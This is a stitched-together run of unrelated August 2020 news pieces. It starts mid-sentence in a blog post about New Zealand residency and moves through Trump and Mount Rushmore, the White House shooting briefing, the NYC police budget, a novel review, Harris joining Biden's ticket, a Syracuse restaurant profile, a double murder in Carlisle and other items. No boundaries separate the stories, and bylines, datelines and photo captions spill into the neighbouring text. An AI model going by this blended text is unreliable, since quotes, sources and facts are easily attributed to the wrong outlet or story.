immigration to New Zealand, not that anyone can sue me here. So stop asking me, thanks. All I can say is that things dont appear to look good. Suppose youre thinking of migrating to New Zealand. Well, read the above. Anywho, you can bet your asses I thank my lucky stars every day that I managed to find my dream life, the home my heart was looking for, halfway around the world in New Zealand. To achieve permanent residency in New Zealand is my deepest dream. For me, its such an honor, and something I dont take for granted or take lightly. Thank you to all of you guys for following me and my journey to New Zealand over the past decade, and who have enabled me to build the life of my dreams. Thank you to all kiwis for welcoming me here. I promise I will always do all I can to help, work, invest, grow, respect, and above all, care for a place that means so much to me. Nga mihi nui. Have you considered applying for permanent residency in New Zealand? Are you someone who has wandered overseas searching for a home too? Spill. By Associated Press TAIPAI: U.S. Health and Human Services Secretary Alex Azar says its more important to have a safe and effective vaccine against the coronavirus than to be the first to produce a vaccine. Azar, on a visit to Taiwan, was asked by ABC on Tuesday what he thought of Russias announcement that it had become the first country to register a vaccine against the virus. He says, The point is not to be first with a vaccine. The point is to have a vaccine that is safe and effective for the American people and the people of the world. He says its important to have transparent data on the vaccine to prove its safety and efficacy. He also noted that the U.S. has six vaccines in development under the Operation Warp Speed initiative. The U.S. has the highest death and case count in the world, with more than 163,000 deaths and over 5 million cases. ALSO READ | Russia registers world's 'first' COVID-19 vaccine, Vladimir Putin's daughter inoculated Meanwhile, White House counselor Kellyanne Conway expressed skepticism about the testing backing up Russias claim that it has developed a COVID-19 vaccine. The U.S. standards are so much more stringent, Conway said Tuesday on Fox Fox & Friends. Our FDA in our country sets the standards and what I understand from the Russia announcement is this is nowhere near where we are. President Trump on Sunday denied a New York Times report that a White House aide had asked South Dakota's governor about how to add another president to Mount Rushmore. But Trump also suggested he wouldn't mind seeing his own face etched into the monument. "This is Fake News," Trump tweeted of the Times report. "Never suggested it although, based on all of the many things accomplished during the first 3 1/2 years, perhaps more than any other Presidency, sounds like a good idea to me!" Trump has a long history of saying his likeness should be added to Mount Rushmore, although in public he's generally insisted he's joking. His fixation with Mount Rushmore as a populist symbol, though, is undeniable. In July, he staged a gala Independence Day celebration at the South Dakota monument where he tried to capitalize on the social and political divisions riling the nation amid the novel coronavirus pandemic in a fiery speech warning of a "left-wing cultural revolution." In the lead-up to that event, the Times reported on Saturday, a White House aide had asked the office of South Dakota Gov. Kristi Noem, R, to spell out exactly what the process might look like to add another presidential face to the stone facade. Per the Times, Noem responded in kind: By presenting the president with a four-foot-tall reproduction of Mount Rushmore that included Trump's face etched in the rock next to George Washington, Thomas Jefferson, Theodore Roosevelt and Abraham Lincoln. Although Trump on Sunday disputed the Times account, Noem has said in the past that Trump personally raised the question with her. In 2018, Noem, then a member of Congress running for governor, said Trump brought up the idea of adding his face to Rushmore during their first meeting in the Oval Office. "He said, 'Kristi, come on over here. Shake my hand,' " Noem said, according to the Argus Leader. "I shook his hand, and I said, 'Mr. President, you should come to South Dakota sometime. We have Mount Rushmore.' And he goes, 'Do you know it's my dream to have my face on Mount Rushmore?' " Noem broke out in laughter, she told the paper - but quickly realized Trump wasn't joking. "I started laughing," she said. "He wasn't laughing, so he was totally serious." In 2017, Trump made similar comments at a speech in Ohio, but insisted they were in jest. "I'd ask whether or not you think I will someday be on Mount Rushmore, but, no - here's the problem. If I did it joking, totally joking, having fun, the fake-news media will say, 'He believes he should be on Mount Rushmore!' " Trump said at the time. "So I won't say it, OK? I won't say." Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. So would it be possible to add Trump's face to the mountain? There's no clear process to make it happen, The Washington Post reported in 2017, though Trump would probably have to start by getting South Dakota's legislature and possibly Congress to sign on. Adding a new face would cost at least $64 million in labor alone, Bump calculated. But there's also the question of whether the rock would be stable enough to add another towering set of presidential features. Jefferson's tribute had to be moved from its original spot due to flaws in the granite. The staff at Mount Rushmore says any further sculpting is simply impossible. "There is no more carvable space up on the sculpture," Maureen McGee-Ballinger, a spokeswoman for the monument, told the Argus Leader two years ago. "When you are looking on the sculpture, it appears there might be some space on the left next to Washington or right next to Lincoln. You are either looking at the rock that is beyond the sculpture (on the right), which is an optical illusion, or on the left, that is not carvable." The White House didn't immediately respond to a message from The Post about Trump's latest reported flirtation with a spot in the rock. Source: Xinhua| 2020-08-11 07:21:23|Editor: huaxia Video Player Close Video: Web streaming shows U.S. President Donald Trump was temporarily escorted by a Secret Service agent from an ongoing coronavirus briefing after a shooting was reported outside the White House, Washington, D.C., the United States, on Aug. 10, 2020. He returned to the briefing room minutes later and highlighted the Secret Service's work. (Xinhua) "It seems to be very well under control," says Trump. "It was the suspect that was shot." WASHINGTON, Aug. 10 (Xinhua) -- U.S. President Donald Trump on Monday afternoon was temporarily escorted by a Secret Service agent from an ongoing coronavirus briefing after a shooting was reported outside the White House. "There was an actual shooting, and somebody has been taken to the hospital. I don't know the condition of the person," the president said after he returned to the White House briefing room minutes later. "It seems to be very well under control," Trump said. "It was the suspect that was shot." No one else was injured, according to the president, adding that he was taken to the Oval Office when he was evacuated. Trump had been mid-sentence during the first attempt at the briefing when the Secret Service agent came into the room and asked him to leave. A senior administration official told CNN the shooting happened just outside of the White House grounds close to Lafayette Square and the shooter is in custody. (CNN) US President Donald Trump was abruptly evacuated from the White House briefing room by security on Monday after shots were fired outside the building. Trump returned to the briefing room minutes later, confirming a shooting. "There was a shooting outside of the White House and it seems to be very well under control. I'd like to thank the Secret Service for doing their always quick and very effective work," Trump said when he returned. After he returned to the podium, US Secret Service tweeted: "The Secret Service can confirm there has been an officer involved shooting at 17th Street and Pennsylvania Ave. Law enforcement officials are on the scene." A senior administration official said there was an active shooter near the White House and that shooter is in custody. The incident happened just outside of the White House grounds close to Lafayette Square, the official said. Trump had been midsentence during the first attempt at a briefing when security came into the room and asked him to leave the area. "Excuse me?" Trump asked when the security approached. "Step outside," the agent said. "Oh," Trump said before departing the room. When Trump returned to the briefing room, he said he has been taken to the Oval Office when he was evacuated. "I feel very safe with the Secret Service. They're fantastic people. They're the best of the best. They're highly trained," Trump told reporters when he returned. "They just wanted me to step aside for a little while just to make sure that everything was clear outside." Trump said he had asked whether White House facilities were breached. "I don't think the person breached anything," he added. "I don't believe anything was breached. I asked that question." Black and Latino lawmakers representing some of New York City's most crime-ridden neighborhoods have slammed efforts to defund the police, with some comparing the calls to 'colonization' and 'political gentrification,' according to a new report. As mass protests against police brutality erupted across the country in June, the New York City Council voted to slash $1billion in NYPD funding from its 2021 budget. The cuts were a culmination of a weeks-long campaign by protesters and activists calling for police reform that was triggered by the death of George Floyd in Minneapolis and other black victims who have been killed at the hands of police. As mass protests against police brutality erupted across the country in June, the New York City Council voted to slash $1billion in NYPD funding from its 2021 budget New York City council members Laurie Cumbo (left) and Vanessa Gibson, are among a group of black members who say officials should take a more measure approach to police reform The contentious budget passed with 32 votes in favor and 17 votes against just ahead of the midnight deadline on June 30, following hours of delays. A New York Times report on Monday shed light into the heated debate, revealing a handful of black and Latino council members had been among those who opposed cuts, saying it will only hurt already struggling communities where crime is more pronounced. Laurie Cumbo, a black councilwoman and majority leader, had participated in marches against police brutality in Brooklyn, but criticized the move saying calls to defund the police were like 'colonization' being pushed by white progressives. Her sentiments were echoed by fellow Brooklyn councilman Robert Cornegy Jr, who is also black, who described the campaign as 'political gentrification', the NYT reported. Some lawmakers even accused those in support of defunding the police of being part of a 'white-led movement'. The lawmakers are among a faction of black and Latino members representing poor communities in New York City who say the city should take a more measured approach in police reforms. 'I hate to say that's our everyday reality, but it is,' councilwoman Vanessa Gibson, who represents the West Bronx, told the paper. A NYT report revealed a handful of black and Latino council members had been among those who opposed cuts to the NYPD budget, saying it will only hurt already struggling communities where crime is more pronounced The city's vote followed a weeks-long campaign by protesters and activists calling for police reform that was triggered by the death of George Floyd in Minneapolis and other black victims who have been killed at the hands of police 'Many residents equate public safety with more policing. If I go to them and tell them there would be less police, they would not be happy.' Gibson said residents don't want to see police officers using excessive force but 'they want to be safe as they go to the store.' Councilwoman Diana Ayala, who represents East Harlem and the South Bronx, said she had received calls from constituents supporting the move about a week after the vote, but noted that at least 60 of them were 'white or new to the community.' At the time of the vote, councilman I. Daneek Miller, co-chairman of the Council's Black, Latino and Asian Caucus, had bitterly opposed the move, saying it made no sense to cut funding at a time when crime is on the rise. 'Black folks want to be safe like everyone else, we just want to be respected,' he told the New York Times last month. 'We can't allow folks from outside our community to lecture us about Black lives and what we need in our communities.' But even with the funding reduction, some critics noted that the budget cut was merely shifting police functions and they doubted the promised reduction in overtime would ever happen. City Council Speaker Corey Johnson disputed Mayor Bill de Blasio's characterization that $1billion was being 'shifted away' from the NYPD budget, saying the mayor and some council members refused to agree to a police hiring freeze. Activists said the budget needs to make a substantial, not symbolic, difference in advancing racial justice and curbing the size and power of the nation's largest police force. By Charlotte McConaghy Flatiron. 272 pp. $26.99 - - - Brace yourself for a book about the end of the world - but not the type with a high-octane hero saving the planet from annihilation. Charlotte McConaghy's "Migrations" offers no such easy reprieve. The beauty and the heartbreak of this novel is that it's not preposterous. It feels true and affecting, elegiac and imminent. In a future near enough you could almost mistake it for the present, irrevocable climate change has led to mass extinction, killing most animals and driving conservationists to desperate extremes. Though she has no funding and no official standing, Franny Lynch is determined to track what's expected to be the last migration of Arctic terns from Greenland to Antarctica. Far from her husband, Niall, a renowned ornithologist, Franny pursues the vanishing birds to feel close to him. She needs a boat to carry her, so she talks her way aboard a fishing vessel, promising that her terns will lead the crew to herring. Once underway, she weathers resentment from her shipmates and struggles with the morality of teaming up with commercial fishermen, all while concealing a checkered past with the law. When an incident on shore leave turns violent, her crew rushes to her aid and they flee together, outlaws headed for the southern oceans. Franny has an irresistible gravitational pull. The mystery of her bleak grief draws you in. Her affinity for the natural world, especially birds, is nearly mythical. She seems heroically strong, but within her first-person narrative, we see she feels just as human and as helpless as the rest of us. As she rides out a relentless storm, she fears for the birds fighting the same elements: "If the animals have died it will not have been quietly. It will not have been without a desperate fight. If they've died, all of them, it's because we made the world impossible for them. So - for my own sanity - I release the Arctic terns from the burden of surviving what they shouldn't have to, and I bid them goodbye. Then I crawl into the bathroom to vomit." As Franny sails south, she reaches into her past to unfold the moments that brought her here. The fractured timeline fills each chapter with suspense and surprises, parceled out so tantalizingly that it took disciplined willpower to keep from skipping down each page to see what happens. At every turn, the exhilarating events of the plot - tempests at sea! fugitives on the run! - are enriched by deep themes illustrated with broad metaphors and intricate details. Early on, Franny describes the imagined ache she feels in two toes she lost to frostbite, a phantom pain that echoes in the denial and hallucinations she experiences after a different loss. In many ways, this is a story about grieving, an intimate tale of anguish set against the incalculable bereavements of climate change. There are many losses, but lives are also saved. Franny charts our course through a novel that is efficient and exciting, indicting but forgiving, and hard but ultimately hopeful. - - - Morton is a writer in Los Angeles. Ashby Graff Logo The stain of segregation and racism in housing casts a dark shadow that continues to subject people of colorBlack Americans in particularto starkly different life experiences than white Americans Today, California real estate brokerage Ashby & Graff released their 2020 diversity report. The report is being shared publicly in hopes that other real estate brokerages around the country adopt all or parts of the ambitious 10-point plan for wider diversity and inclusion. Ashby & Graff recently made national headlines for pulling the plug on their Facebook presence after months of missteps in Facebooks handling of bigotry, anti-semitism, lack of privacy protections, and other matters. Ashby & Graffs CEO, John Graff, who is openly gay, says his own personal experiences with discrimination and feeling unrepresented motivated his decree for diverse and inclusive representation in marketing materials. In an ideal world, reports on diversity and inclusion wouldnt be necessary. We created this report because we dont live in an ideal world, and we want to share our successes and failures, as well as our concrete plans and hopes for the future. The stain of segregation and racism in housing casts a dark shadow that continues to subject people of colorBlack Americans in particularto starkly different life experiences than white Americans, says John Graff. He continues: Thats why were committed to using our platform to shed more light on the unjust machinations of systems of racism. This means making the case for legislative and regulatory fixes that could create positive change. Ensuring a diverse and inclusive work environment and advocating for greater equity and justice both within the real estate industry and the larger community, has been central to the success of Ashby & Graff. This demonstrated commitment led to John Graff being named as one of fifteen advocates on the INvolve and Yahoo Finance 2019 EMpower Advocates List. INvolve describes selected advocates as senior leaders who are not people of color but dedicated to creating a more diverse and inclusive business environment for ethnic minority employees. Ashby & Graff recently pledged to make more strategic investments in Black-owned businesses. As a result of that decision, their investments now include business with founders that are 52% people of color; 39% Black; 23% women; and 8% LGBTQIA. The 2020 diversity report is available here. An esteemed group of experts contributed to the diversity report. John Graff is available for email, phone and video interviews. About Ashby & Graff Real Estate: Ashby & Graff Real Estate is among the fastest growing independent real estate brokerages in the United States. With agents across California, Ashby & Graff services clients of all budgets, lifestyles, and backgrounds. Ashby & Graff is part of the Graff Real Estate, Inc. brand collection. Contact: Name: John Graff | Email: john@ashbygraff.com | Phone: 310-856-9153 ext 1 Mailing Address: 6555 Barton Ave 2nd Floor. Los Angeles, CA 90038 By The Associated Press Aug. 11, 2020 | 03:24 PM | WILMINGTON, DEL Joe Biden named California Sen. Kamala Harris as his running mate on Tuesday, making history by selecting the first Black woman to compete on a major partys presidential ticket and acknowledging the vital role Black voters will play in his bid to defeat President Donald Trump. I have the great honor to announce that Ive picked @KamalaHarris a fearless fighter for the little guy, and one of the countrys finest public servants as my running mate, Biden tweeted. In a text message to supporters, Biden said, Together, with you, were going to beat Trump In choosing Harris, Biden is embracing a former rival from the Democratic primary who is familiar with the unique rigor of a national campaign. Harris, a 55-year-old first-term senator, is also one of the partys most prominent figures and quickly became a top contender for the No. 2 spot after her own White House campaign ended. Harris joins Biden in the 2020 race at a moment of unprecedented national crisis. The coronavirus pandemic has claimed the lives of more than 150,000 people in the U.S., far more than the toll experienced in other countries. Business closures and disruptions resulting from the pandemic have caused an economic collapse. Unrest, meanwhile, has emerged across the country as Americans protest racism and police brutality. Trumps uneven handling of the crises has given Biden an opening, and he enters the fall campaign in strong position against the president. In adding Harris to the ticket, he can point to her relatively centrist record on issues such as health care and her background in law enforcement in the nations largest state. Harris record as California attorney general and district attorney in San Francisco was heavily scrutinized during the Democratic primary and turned off some liberals and younger Black voters who saw her as out of step on issues of systemic racism in the legal system and police brutality. She tried to strike a balance on these issues, declaring herself a progressive prosecutor who backs law enforcement reforms. Biden, who spent eight years as President Barack Obamas vice president, has spent months weighing who would fill that same role in his White House. He pledged in March to select a woman as his vice president, easing frustration among Democrats that the presidential race would center on two white men in their 70s. Bidens search was expansive, including Massachusetts Sen. Elizabeth Warren, a leading progressive, Florida Rep. Val Demings, whose impeachment prosecution of Trump won plaudits, California Rep. Karen Bass, who leads the Congressional Black Caucus, former Obama national security adviser Susan Rice and Atlanta Mayor Keisha Lance Bottoms, whose passionate response to unrest in her city garnered national attention. A woman has never served as president or vice president in the United States. Two women have been nominated as running mates on major party tickets: Democrat Geraldine Ferraro in 1984 and Republican Sarah Palin in 2008. Their party lost in the general election. The vice presidential pick carries increased significance this year. If elected, Biden would be 78 when hes inaugurated in January, the oldest man to ever assume the presidency. Hes spoken of himself as a transitional figure and hasnt fully committed to seeking a second term in 2024. If he declines to do so, his running mate would likely become a front-runner for the nomination that year. Born in Oakland to a Jamaican father and Indian mother, Harris won her first election in 2003 when she became San Franciscos district attorney. In the role, she created a reentry program for low-level drug offenders and cracked down on student truancy. She was elected Californias attorney general in 2010, the first woman and Black person to hold the job, and focused on issues including the foreclosure crisis. She declined to defend the states Proposition 8, which banned same-sex marriage and was later overturned by the U.S. Supreme Court. As her national profile grew, Harris built a reputation around her work as a prosecutor. After being elected to the Senate in 2016, she quickly gained attention for her assertive questioning of Trump administration officials during congressional hearings. In one memorable moment last year, Harris tripped up Attorney General William Barr when she repeatedly pressed him on whether Trump or other White House officials pressured him to investigate certain people. Harris launched her presidential campaign in early 2019 with the slogan Kamala Harris For the People, a reference to her courtroom work. She was one of the highest-profile contenders in a crowded Democratic primary and attracted 20,000 people to her first campaign rally in Oakland. But the early promise of her campaign eventually faded. Her law enforcement background prompted skepticism from some progressives, and she struggled to land on a consistent message that resonated with voters. Facing fundraising problems, Harris abruptly withdrew from the race in December 2019, two months before the first votes of the primary were cast. One of Harris standout moments of her presidential campaign came at the expense of Biden. During a debate, Harris said Biden made very hurtful comments about his past work with segregationist senators and slammed his opposition to busing as schools began to integrate in the 1970s. There was a little girl in California who was a part of the second class to integrate her public schools, and she was bused to school every day, she said. And that little girl was me. Shaken by the attack, Biden called her comments a mischaracterization of my position. The exchange resurfaced recently one of Bidens closest friends and a co-chair of his vice presidential vetting committee, former Connecticut Sen. Chris Dodd, still harbors concerns about the debate and that Harris hadnt expressed regret. The comments attributed to Dodd and first reported by Politico drew condemnation, especially from influential Democratic women who said Harris was being held to a standard that wouldnt apply to a man running for president. Some Biden confidants said Harris campaign attack did irritate the former vice president, who had a friendly relationship with her. Harris was also close with Bidens late son, Beau, who served as Delaware attorney general while she held the same post in California. But Biden and Harris have since returned to a warm relationship. Joe has empathy, he has a proven track record of leadership and more than ever before we need a president of the United States who understands who the people are, sees them where they are, and has a genuine desire to help and knows how to fight to get us where we need to be, Harris said at an event for Biden earlier this summer. At the same event, she bluntly attacked Trump, labeling him a drug pusher for his promotion of the malaria drug hydroxychloroquine as a treatment for the coronavirus, which has not been proved to be an effective treatment and may even be more harmful. After Trump tweeted when the looting starts, the shooting starts in response to protests about the death of George Floyd, a Black man, in police custody, Harris said his remarks yet again show what racism looks like. Harris has taken a tougher stand on policing since Floyds killing. She co-sponsored legislation in June that would ban police from using chokeholds and no-knock warrants, set a national use-of-force standard and create a national police misconduct registry, among other things. It would also reform the qualified immunity system that shields officers from liability. The list included practices Harris did not vocally fight to reform while leading Californias Department of Justice. Although she required DOJ officers to wear body cameras, she did not support legislation mandating it statewide. And while she now wants independent investigations of police shootings, she didnt support a 2015 California bill that would have required her office to take on such cases. We made progress, but clearly we are not at the place yet as a country where we need to be and California is no exception, she told The Associated Press recently. But the national focus on racial injustice now shows theres no reason that we have to continue to wait. UPDATE: At the time this story was written, the owner of Bagdad Restaurant said he was going to close within a month in preparation of moving to downtown Syracuse in the fall. He has since run out of food and closed this Fairmount location early. He will reopen when the Salt City Market on South Salina Street opens. (This is part of an ongoing series that showcases some of the best food and drinks in Central New York that you probably dont know about. Do you have a hidden gem? Share your favorite by emailing me at cmiller@syracuse.com or texting me at 315-382-1984. I might even buy you lunch. If you want to know my next hidden gem before its published, join my text group for subscribers where Ill announce it a day in advance. Thatll allow you to get there before everyone else.) **** Syracuse, N.Y. Have you ever driven to Delta Sonic and just kept going because the slow-moving four lines that feed into one car wash stretched out into the street? That happened to me recently, and it turned out to be a blessing. Because my car badly needed a wash and wax, and because I didnt want to sit in my car for an hour, I headed two blocks west to the Bubble-Up Car Wash on Genesee Street in Fairmount. The sign there says you drive in dirty and out purdy. It just so happens that Bubble-Up shares a building with Baghdad, a Middle Eastern restaurant that opened in early January. Not only did I leave with a purdy car, I left with a full stomach. Baghdad is a one-man operation, and its NOT affiliated with the car wash. Firas Hashim is the owner, chef, server, business manager and custodian. His father taught him to cook back home in Iraq. Hes been cooking professionally for 17 years, the past six years in the United States. Before starting Baghdad, he and his longtime friend and co-worker opened Sumer in Westvale Plaza in 2017. It was the first Iraqi restaurant in the Syracuse area. He sold his half to his friend last year and opened Baghdad. Yes, I realize this is a car wash, he said rolling his eyes as a white Honda Accord popped out to be towel-dried next door. But I have a loyal group of customers who would come to a car wash or wherever Im cooking to eat the food I make. Im certainly not a student of fine Middle Eastern cuisine, but I know what I like, and I like this food a lot. Watching Firas prepare the food made me like it even more. Everything he makes at Baghdad is prepared that day and cooked to order. He grinds his own lamb and chicken for kebabs, he mixes his own falafels, and he creates every sauce and dressing that tops entrees or salads. A lamb kebab ready for the grill at Baghdad Restaurant in Fairmount.Charlie Miller | cmiller@syracuse.com His kebabs are simple. Theyre just ground lamb or chicken and a few pinches of salt. Firas rolls about a third of a pound of meat in his hands to form an oblong tube. He drives an inch-wide stainless steel skewer through the loaf and kneads the meat with his glove-covered thumbs so it spreads out to about a foot. He cooks them on a grill over an open flame for about five minutes, turning them once a minute while he puts the rest of the order together. I ordered lamb kebobs on my first visit, chicken on the second visit and back to lamb during the third. Theyre equally good. Chicken and lamb kebabs on the grill at Bagdad Restaurant in Fairmount.Charlie Miller | cmiller@syracuse.com Each order contains two kebabs and costs $11.99. They come with fresh hummus drizzled with olive oil and cold vegetables on the side. TIP: You can have the meat served on a bed of rice or pita bread. Go with the rice. You could go to any Arabic restaurant here, and youll get this kind of rice, Firas said. Its a long-grain rice steamed with spices including cloves and cardamom. The rice made this dish so much more special. The lamb kebab at Baghdad Restaurant in Fairmount.Charlie Miller | cmiller@syracuse.com You also must try ... Falafel ($9.99): I made the mistake of ordering falafels as an appetizer to share with Jacob Pucci, syracuse.coms food writer. Our meals were more than we could handle in one sitting, and the falafel was simply too much. Good problem to have. Firas grinds chickpeas for his falafels mix each morning. His have little to no parsley, so the inside is more blond in color than green like so many other falafels youll find. He doesnt overpack them so theyre not as dense. This platter comes with pita bread, a tub of hummus with a handful of chickpeas on top with olive oil and sumac. You also get a salad with a homemade oil-and-vinegar-based dressing. The falafel at Baghdad Restaurant in Fairmount.Charlie Miller | cmiller@syracuse.com Next time: When I return to Baghdad, I will try one of his salads. A customer had ordered a fattoush salad and Greek salad ($6.99 each). Both were huge and gorgeous. The fattoush salad was covered in Firas toasted pita chips. The last thing he did before bagging the order for the customer was whip up a cold cucumber dressing with Greek yogurt for dipping. A salad from Baghdad Restaurant in Fairmount.Charlie Miller | cmiller@syracuse.com Warning: Firas will be closing his car-wash location within a month or so because hes moving his restaurant to downtown Syracuse. Hell be part of the Salt City Market, a market and food hall going up on South Salina Street. Were PUMPED to have Baghdad on board, said Adam Sudmann, Market manager. The Details The restaurant: Baghdad Restaurant, 3512 W. Genesee St., Syracuse 315-802-6628 Hours: Noon to 8 p.m., Tuesday through Saturday. Credit cards? Yes Access to disabled? Yes Inside seating: No. Just one table with four chairs outside. MORE ON FOOD Other Hidden Gems of CNY No State Fair? No worries! How to make wine slushies at home No State Fair? No worries! How to make gyros at home No State Fair? No worries! How to make smoked turkey legs at home No State Fair? No worries! How to make a hot beef sundae at home Charlie Miller finds the best in food, drink and fun across Central New York. Contact him at 315-382-1984, or by email at cmiller@syracuse.com. As the Carlisle community mourns with the families of Sydney Parmelee and Kaylee Lyons, fundraising pages have sprung up to help support their children. Police believe both women were killed by the father of their children, Davone Unique Anderson, 25, who was charged on Monday. According to charging documents, Anderson told police he shot Pamelee during an argument on July 5, because he thought she was cheating on him. He later admitted to killing Lyons, believing she would tell someone about Anderson killing Parmelee, police wrote in the affidavit. Lyons was six weeks pregnant when she was killed, police said. According to the fundraiser for Parmelees children, Parmelee was studying to become a pediatric nurse. Her children are 2 and 5 years old. " All money raised will go towards the expenses caused by this overwhelming situation and to provide Sydneys children with the future their mother can no longer give them, the page states. On the fundraising page for Lyons son, her son is described as her entire life. She would have gone to the depths of the earth for her son, the page states. In both cases, the money is going to the childrens grandparents, to be used throughout their lives. Read more on PennLive: Information is from police reports and may be incomplete depending on the status of an investigation. Phone numbers are nonemergency. For eight years, art historian and author Kathie Sutherland has been obsessed by an epic piece of detective work. She has traced, identified and dated every known sketch, drawing, painting, sculpture, ceramic and print ever made by Brett Whiteley in his extraordinarily prolific, but largely undocumented career. The result is "a catalogue raisonne" - a meticulously researched account of Whiteley's entire lifetime output. That's more than 4600 works, 2000 of which are illustrated in Sutherland's mammoth, seven-volume, cloth-bound labour of love released this month. Weighing 25kg, it is limited to 1000 sets and costs a hefty $1500. But there's no shortage of buyers. "One dealer ordered 20 sets," Sutherland says. "If you've paid $1 million for that Whiteley on your wall, you're probably happy to spend $1500 for the catalogue in which it is fully documented." With all odds against them, the Egyptian peoples strength provides more meaningful support to their communities, writes Sherry F. Carlin The world has changed considerably between my arrival in Cairo in March 2015 and my departure in mid-August 2020. One thing remains: the strength and promise of the Egyptian people. Last year in the El Hebeel Area of Luxor, I stood on the sandy edge of a large basin full of wastewater feeling so overjoyed that I couldnt stop smiling. It might be hard to imagine sewage inspiring such excitement, but over the years, I had stood on that same site as it grew from a flat expanse of desert to a busy construction site to a massive, modern wastewater treatment facility that will grow with the population and service 330,000 people in Luxor City, Beyadeya City, and all the villages and rural areas located in Luxor District. Many families in the villages will be connected to sanitation services for the very first time. Now able to shower and flush toilets, this USAID-funded wastewater treatment plant will transform their lives. Ive witnessed a similar transformation in North Sinai. Through a $50 million infrastructure project, USAID worked with the governorates leadership and the Sinai Water and Wastewater Company to ensure that 450,000 residents of North Sinai have access to safe drinking water. Its astonishing to see desalination plants, deep wells, and reservoirs -- designed and constructed by Egyptians, for Egyptians, with American support -- emerge from the desert. In truth, every time I visited a USAID program, I left with a new sense of admiration. Every person I met had a different story, but with a common theme: everyone was determined to be doing what they were doing, with all odds against them. I have talked to young women studying renewable energy, a curriculum developed by USAID in partnership with the Government of Egypt and private companies. They described what it felt like to tell their parents that they want to enroll in this technical school, arguing that they have innovative ideas that will support Egypts growth, sustainably. I know the courage this took, and over the years, I met more and more young women breaking down barriers to forge their own path. We are currently working in 60 vocational schools in 11 governorates to transform Egypts vocational education system to ensure that training will be meaningfully linked to market demand. In the last four years, weve helped employ over 31,000 graduates and job seekers, 31% of whom are women. Womens and girls empowerment is at the heart of much of USAIDs work in Egypt. To be empowered, one must be safe. In five years, Ive seen real progress in preventing and responding to violence against women as a result of the commitment of our partners, the National Council for Women, the Ministry of Social Solidarity, and civil society organizations. Ive also seen a transformation in the role of community social workers, in part through a partnership that brought Egyptian government officials, non-governmental organizations, and social workers to the United States to meet with their American counterparts and learn from each other how to prevent and respond to violence. USAID supports government-managed shelters throughout the country where women and children survivors of violence can access medical, legal, and psychological services. In these shelters, Ive talked to social workers who are redefining their jobs to provide more meaningful support to their communities. They persevere every day as they grapple with some of lifes biggest challenges: child marriage, violence against women, and female genital mutilation. Ive had similar conversations with some of the 14,000 community health workers USAID trained who support millions of Egyptian families, never more crucial to their communities safety and health as during the COVID-19 pandemic. Of all the changes Ive witnessed over the last five years, coronavirus has had the broadest impact. Though both of our countries experienced tremendous suffering, we helped each other. Egypt donated medical supplies to the United States early in the pandemic. And USAID has supported Egypts COVID-19 response with a donation of 250 American-made ventilators, by strengthening the health systems capacity to prevent and control infections in hospitals, as well as through a partnership with the Egyptian Red Crescent and its network of 30,000 volunteers and health care workers. The crucial transformation that underpins everything we seek to do is the partnerships between USAID and the 14 Egyptian ministries and government institutions with which we work. Over my five years here, through honest communication and hard work at every level, Im proud to say that our relationship is based on mutual respect, value, and trust. Under the current leadership of Minister of International Cooperation Dr. Rania Al-Mashat, together we have pushed for more and deeper collaboration that has translated to impactful programs that are fully in line with Egyptian government priorities. I leave knowing that its because of the will and determination of the Egyptian people that in five years, Ive had the privilege of watching desert morph into gleaming new water infrastructure, young people daring to fulfill their dreams, and the bonds between our countries grow deeper and stronger. The writer is USAID/Egypt mission director. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: iStock/MelpomenemBY: KARMA ALLEN (WASHINGTON) -- Downtown Chicago's expressways and bridges reopened on Tuesday as business owners and emergency workers rushed to recover in the wake of widespread looting and violence. City officials had placed the area on lockdown, restricting access to residents and business owners, following hours of looting and vandalism that damaged businesses and resulted in more than 100 arrests, according to police. Thirteen officers were injured, including a sergeant who was attacked with a bottle, and at least two civilians were shot during the unrest after midnight Sunday, as hundreds overran the city's upscale Magnificent Mile shopping district and surrounding areas with vandalism and violence, authorities said. The travel restrictions lifted early Tuesday morning, but city officials said it would be a while for things to go back to normal with broken glass, trash and debris still strewn about the streets in some areas. Much of the unrest happened along the Magnificent Mile, one of the city's most-popular tourist attractions, where looters were seen stuffing vehicles with shopping bags full of stolen merchandise and store equipment. ATM machines were compromised, cash registers were stolen and at least one bank was broken into, police said. The unrest came as a triple blow for businesses that are struggling to stay afloat amid the ongoing COVID-19 pandemic. Some business were targeted by looters earlier this summer in the wake of anti-racism and police brutality protests. Lightfoot said this week's criminal activity had nothing to do with "legitimate" organized protests and described it as "an assault on our city. Lightfoot has repeatedly knocked down calls for federal intervention. Again, no, we do not need federal troops in Chicago, period, full stop, Lightfoot told reporters Monday. Black Lives Matter Chicago claimed those involved were actually protesting. About 200 protesters gathered outside a police station in the South Loop Monday night for a "solidarity rally" for those arrested, noting that they had been protesting against police brutality. Investigators acknowledged the unrest started after inaccurate reports online about an unarmed juvenile being shot by police in the Englewood area. The shooting victim was actually a 20-year-old man who allegedly opened fire on police while being chased, authorities said. The mayor clearly has not learned anything since May, and she would be wise to understand that the people will keep rising up until the [Chicago Police Department] is abolished and our Black communities are fully invested in, Black Lives Matter Chicago said in a statement. When protesters attack high-end retail stores that are owned by the wealthy and service the wealthy, that is not our city and has never been meant for us. Copyright 2020, ABC Audio. All rights reserved. More New Jerseyans voted last month than in any presidential primary but one, but the percentage of those participating remained the same as four years earlier even as the state sent mail ballots to every registered Democrat and Republican. Almost 1.5 million voters cast ballots either in person or by mail, second only to the 1.7 million who voted in 2008, according to newly released figures from the state Division of Elections. Turnout was 26% of New Jerseys registered voters, the same percentage as the presidential primary four years ago. Both recorded the highest percentage turnout since 2008, when 35% of New Jersey voters cast ballots. Thats actually pretty good considering the difficulties people had voting, said Krista Jenkins, a political science professor at Fairleigh Dickinson University and its poll director. The state rolled out the vote by mail that left a lot of people with confusion. The state mailed the ballots to diminish the number of people visiting polling places in the midst of the coronavirus pandemic, and agreed to new procedures allowing voters to fix mistakes rather than have their votes thrown out. In addition, the primary was delayed a month, and some voters received the wrong ballots in the mail. Some polling places were shifted to other locations and many were closed. Since the presidential nominees had been picked long before the New Jersey primaries were held, the fact that turnout didnt diminish is an indication that absentee balloting encouraged more voters, said Patrick Murray, director of the Monmouth University Polling Institute. In 2016, for example, while Hillary Clinton was going to be the Democratic presidential nominee, Bernie Sanders did not end his campaign before the final primaries, and John Kasich and Ted Cruz shared the GOP ballot with Trump. This time around, Sanders had endorsed Joe Biden and Trump ran unopposed. If you combine vote by mail with competitive primaries, youre going to get high turnout because we got high 